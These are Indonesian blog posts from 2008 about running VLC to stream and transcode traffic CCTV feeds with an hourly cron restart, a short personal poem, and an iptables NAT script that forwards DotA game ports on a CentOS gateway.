1. http://124.81.82.136/ltmc2008/kamera/streaming-cctv.php

dan

2. http://plasa2.plasa.com

dari hasil 1. terlihat cukup jelas untuk streaming pertama cuma ini tidak memakai metode server , alias begitu di buka bisa memakan bandwidth dari streaming camera sendiri lama lama dijamin modar begitu banyak yang akses :D

dari hasil ke 2 gambar kurang jelas disini menggunakan metode transcode yang cukup memukau saya mengembangkan metode ini , tetapi cukup realible menggunakan server sendiri , load cpu menggunakan quad core < 35 persen

vlc auto restart

2008-09-27T11:33:00.005+07:00

Siapa sangka dari program opensource yang dikembangkan telah menjadi sebuah streaming yang handal itulah vlc ... saya bersama tim saya telah berhasil mendevelop sebuah vlc yang cukup memukau di http://plasa2.plasa.com ....... disini saya membuat auto restart

crontab -l

59 * * * * sh /home/vlc/vlcmudik/config/start.sh

tiap 1 jam sekali akan mematikan semua koneksi dan melalukan nya kembali

isi dari vlc

killall vlc;
sleep 10;
sh /home/vlc/vlcmudik/config/cikampek2.sh;
sh /home/vlc/vlcmudik/config/gilimanuk2.sh;

sh /home/vlc/vlcmudik/config/merak2.sh;
sleep 1;
sh /home/vlc/vlcmudik/config/solobalapan.sh;
sh /home/vlc/vlcmudik/config/tasikmalaya1.sh;
sh /home/vlc/vlcmudik/config/banyumas1.sh;
sh /home/vlc/vlcmudik/config/gambir1.sh;
sleep 1;
sh /home/vlc/vlcmudik/config/jogja1.sh;
sh /home/vlc/vlcmudik/config/lowsarang.sh;
sh /home/vlc/vlcmudik/config/merak3.sh;
sh /home/vlc/vlcmudik/config/tawang1.sh;
sleep 1;
sh /home/vlc/vlcmudik/config/bakahuni1.sh;
sh /home/vlc/vlcmudik/config/banyumas2.sh;
sh /home/vlc/vlcmudik/config/gambir2.sh;
sh /home/vlc/vlcmudik/config/jogja2.sh;
sleep 1;
sh /home/vlc/vlcmudik/config/lowsari.sh;
sh /home/vlc/vlcmudik/config/merak.sh;
sh /home/vlc/vlcmudik/config/surabaya1.sh;
sh /home/vlc/vlcmudik/config/tawang2.sh;
sleep 1;
sh /home/vlc/vlcmudik/config/bakahuni2.sh;
sh /home/vlc/vlcmudik/config/cikampek1.sh;
sh /home/vlc/vlcmudik/config/gilimanuk1.sh;
sh /home/vlc/vlcmudik/config/km57-1.sh;
sleep 1;
sh /home/vlc/vlcmudik/config/merak1.sh;
sh /home/vlc/vlcmudik/config/solobalapan2.sh;
sh /home/vlc/vlcmudik/config/tanjung.sh;
sh /home/vlc/vlcmudik/config/bandung1.sh;

dan isi dari tiap2x kota :

/home/vlc/vlcmudik/vlc -vvv --http-reconnect --noaudio --loop -d http://root:passwordnya@125.0.0.0/video2.mjpg --sout '#transcode{vcodec=WMV1,vb=256,width=320,height=240,scale=1}:standard{access=mmsh,mux=asf,dst=:20030}' --sout-keep

hari ini lebaran still monitoring ... tapi berhubung sudah ada crontab
bisa lebih enak ........

salam :D

iqbal maulana

Teman yang terlupakan ...

2008-09-24T20:22:00.000+07:00

ketika angin berpaling dari putaran bumi ...
hanya air hujan dan dingin yang jatuh ke bumi ...
ketika salam disampaikan ...
hanya curahan hati yang terucap ...
sesaat terjenak , terpaku menatap keheningan ...
hanya wajah dirimu & diriku terlihat di senja ...
berjalan menepis harapan ...
berlari menuai angan ...

aku bukan sang armor puitis ...
tapi aku hanya manusia biasa ...
aku hanya sepenggal bagian isi bumi ...
sampai aku hilang bahkan tenggelam ...

hanya ketulusan terlahir dan ketiadaan ...
hanya cinta terlahir dari kebahagiaan ..
dan hanya sahabat yang tak pernah kulupakan ...

copyright 2008 iqbal aka inetholic ///

Create Dota Di Linux - Centos 4

2008-09-22T15:46:00.002+07:00

#!/bin/sh
#
### Flush all rules ###
/sbin/iptables -F
/sbin/iptables -t nat -F
/sbin/iptables -t mangle -F

### Erase all non-default chains ###
/sbin/iptables -X
/sbin/iptables -t nat -X
/sbin/iptables -t mangle -X

### DOTA ###
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6101 -j DNAT --to 192.168.99.1:6101
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6102 -j DNAT --to 192.168.99.2:6102
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6103 -j DNAT --to 192.168.99.3:6103
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6104 -j DNAT --to 192.168.99.4:6104
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6105 -j DNAT --to 192.168.99.5:6105
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6106 -j DNAT --to 192.168.99.6:6106
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6107 -j DNAT --to 192.168.99.7:6107
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6108 -j DNAT --to 192.168.99.8:6108
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6109 -j DNAT --to 192.168.99.9:6109
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6110 -j DNAT --to 192.168.99.10:6110
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6111 -j DNAT --to 192.168.99.11:6111
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6112 -j DNAT --to 192.168.99.12:6112
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6113 -j DNAT --to 192.168.99.13:6113
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6114 -j DNAT --to 192.168.99.14:6114
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6115 -j DNAT --to 192.168.99.15:6115
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6116 -j DNAT --to 192.168.99.16:6116
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6117 -j DNAT --to 192.168.99.17:6117
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6118 -j DNAT --to 192.168.99.18:6118
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6119 -j DNAT --to 192.168.99.19:6119
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6120 -j DNAT --to 192.168.99.20:6120
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6121 -j DNAT --to 192.168.99.21:6121
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6122 -j DNAT --to 192.168.99.22:6122
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6123 -j DNAT --to 192.168.99.23:6123
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6124 -j DNAT --to 192.168.99.24:6124
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6125 -j DNAT --to 192.168.99.25:6125
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6126 -j DNAT --to 192.168.99.26:6126
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6127 -j DNAT --to 192.168.99.27:6127
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6128 -j DNAT --to 192.168.99.28:6128
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6129 -j DNAT --to 192.168.99.29:6129
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6130 -j DNAT --to 192.168.99.30:6130
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6131 -j DNAT --to 192.168.99.31:6131
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6132 -j DNAT --to 192.168.99.32:6132
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6133 -j DNAT --to 192.168.99.33:6133
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6134 -j DNAT --to 192.168.99.34:6134
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6135 -j DNAT --to 192.168.99.35:6135
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6136 -j DNAT --to 192.168.99.36:6136
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6137 -j DNAT --to 192.168.99.37:6137
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6138 -j DNAT --to 192.168.99.38:6138
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6139 -j DNAT --to 192.168.99.39:6139
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6140 -j DNAT --to 192.168.99.40:6140
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6141 -j DNAT --to 192.168.99.41:6141
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6142 -j DNAT --to 192.168.99.42:6142
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6143 -j DNAT --to 192.168.99.43:6143
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6144 -j DNAT --to 192.168.99.44:6144
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6145 -j DNAT --to 192.168.99.45:6145
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6146 -j DNAT --to 192.168.99.46:6146
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6147 -j DNAT --to 192.168.99.47:6147
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6148 -j DNAT --to 192.168.99.48:6148
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6149 -j DNAT --to 192.168.99.49:6149
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6150 -j DNAT --to 192.168.99.50:6150
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6151 -j DNAT --to 192.168.99.51:6151
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6152 -j DNAT --to 192.168.99.52:6152
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6153 -j DNAT --to 192.168.99.53:6153
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6154 -j DNAT --to 192.168.99.54:6154
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6155 -j DNAT --to 192.168.99.55:6155
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6156 -j DNAT --to 192.168.99.56:6156
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6157 -j DNAT --to 192.168.99.57:6157
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6158 -j DNAT --to 192.168.99.58:6158
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6159 -j DNAT --to 192.168.99.59:6159
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6160 -j DNAT --to 192.168.99.60:6160
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6161 -j DNAT --to 192.168.99.61:6161
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6162 -j DNAT --to 192.168.99.62:6162
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6163 -j DNAT --to 192.168.99.63:6163
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6164 -j DNAT --to 192.168.99.64:6164
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6165 -j DNAT --to 192.168.99.65:6165
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6166 -j DNAT --to 192.168.99.66:6166
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6167 -j DNAT --to 192.168.99.67:6167
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6168 -j DNAT --to 192.168.99.68:6168
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6169 -j DNAT --to 192.168.99.69:6169
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6170 -j DNAT --to 192.168.99.70:6170
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6171 -j DNAT --to 192.168.99.71:6171
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6172 -j DNAT --to 192.168.99.72:6172
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6173 -j DNAT --to 192.168.99.73:6173
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6174 -j DNAT --to 192.168.99.74:6174
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6175 -j DNAT --to 192.168.99.75:6175
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6176 -j DNAT --to 192.168.99.76:6176
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6177 -j DNAT --to 192.168.99.77:6177
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6178 -j DNAT --to 192.168.99.78:6178
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6179 -j DNAT --to 192.168.99.79:6179
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6180 -j DNAT --to 192.168.99.80:6180
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6181 -j DNAT --to 192.168.99.81:6181
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6182 -j DNAT --to 192.168.99.82:6182
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6183 -j DNAT --to 192.168.99.83:6183
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6184 -j DNAT --to 192.168.99.84:6184
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6185 -j DNAT --to 192.168.99.85:6185
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6186 -j DNAT --to 192.168.99.86:6186
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6187 -j DNAT --to 192.168.99.87:6187
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6188 -j DNAT --to 192.168.99.88:6188
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6189 -j DNAT --to 192.168.99.89:6189
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6190 -j DNAT --to 192.168.99.90:6190
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6191 -j DNAT --to 192.168.99.91:6191
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6192 -j DNAT --to 192.168.99.92:6192
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6193 -j DNAT --to 192.168.99.93:6193
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6194 -j DNAT --to 192.168.99.94:6194
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6195 -j DNAT --to 192.168.99.95:6195
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6196 -j DNAT --to 192.168.99.96:6196
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6197 -j DNAT --to 192.168.99.97:6197
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6198 -j DNAT --to 192.168.99.98:6198
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6199 -j DNAT --to 192.168.99.99:6199
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6246 -j DNAT --to 192.168.99.246:6246
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6247 -j DNAT --to 192.168.99.247:6247
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6248 -j DNAT --to 192.168.99.248:6248
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6249 -j DNAT --to 192.168.99.249:6249
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6252 -j DNAT --to 192.168.99.252:6252
/sbin/iptables -t nat -A PREROUTING -p tcp -d 203.84.156.114 --dport 6253 -j DNAT --to 192.168.99.253:6253

/sbin/iptables -A INPUT -s 0/0 -d 0/0 -p tcp --dport 6101:6199 -j ACCEPT -m state --state ESTABLISHED
/sbin/iptables -A INPUT -s 0/0 -d 0/0 -p tcp --dport 6101:6199 -j ACCEPT
/sbin/iptables -A INPUT -s 0/0 -d 0/0 -p tcp --dport 6246:6253 -j ACCEPT -m state --state ESTABLISHED
/sbin/iptables -A INPUT -s 0/0 -d 0/0 -p tcp --dport 6246:6253 -j ACCEPT

/sbin/iptables -A INPUT -p ALL -i lo -j ACCEPT
/sbin/iptables -A INPUT -p ALL -i eth1 -s 192.168.99.0/24 -j ACCEPT
/sbin/iptables -A INPUT -p ALL -i eth1 -d 192.168.99.255 -j ACCEPT
/sbin/iptables -A INPUT -p ALL -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables -A FORWARD -p ALL -i eth1 -j ACCEPT
/sbin/iptables -A FORWARD -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT
/sbin/iptables -A OUTPUT -p ALL -s 127.0.0.1 -j ACCEPT
/sbin/iptables -A OUTPUT -p ALL -o lo -j ACCEPT
/sbin/iptables -A OUTPUT -p ALL -s 192.168.99.254 -j ACCEPT
/sbin/iptables -A OUTPUT -p ALL -o eth1 -j ACCEPT
/sbin/iptables -A OUTPUT -p ALL -o eth0 -j ACCEPT
/sbin/iptables -t nat -A POSTROUTING -j SNAT --to-source 203.84.156.114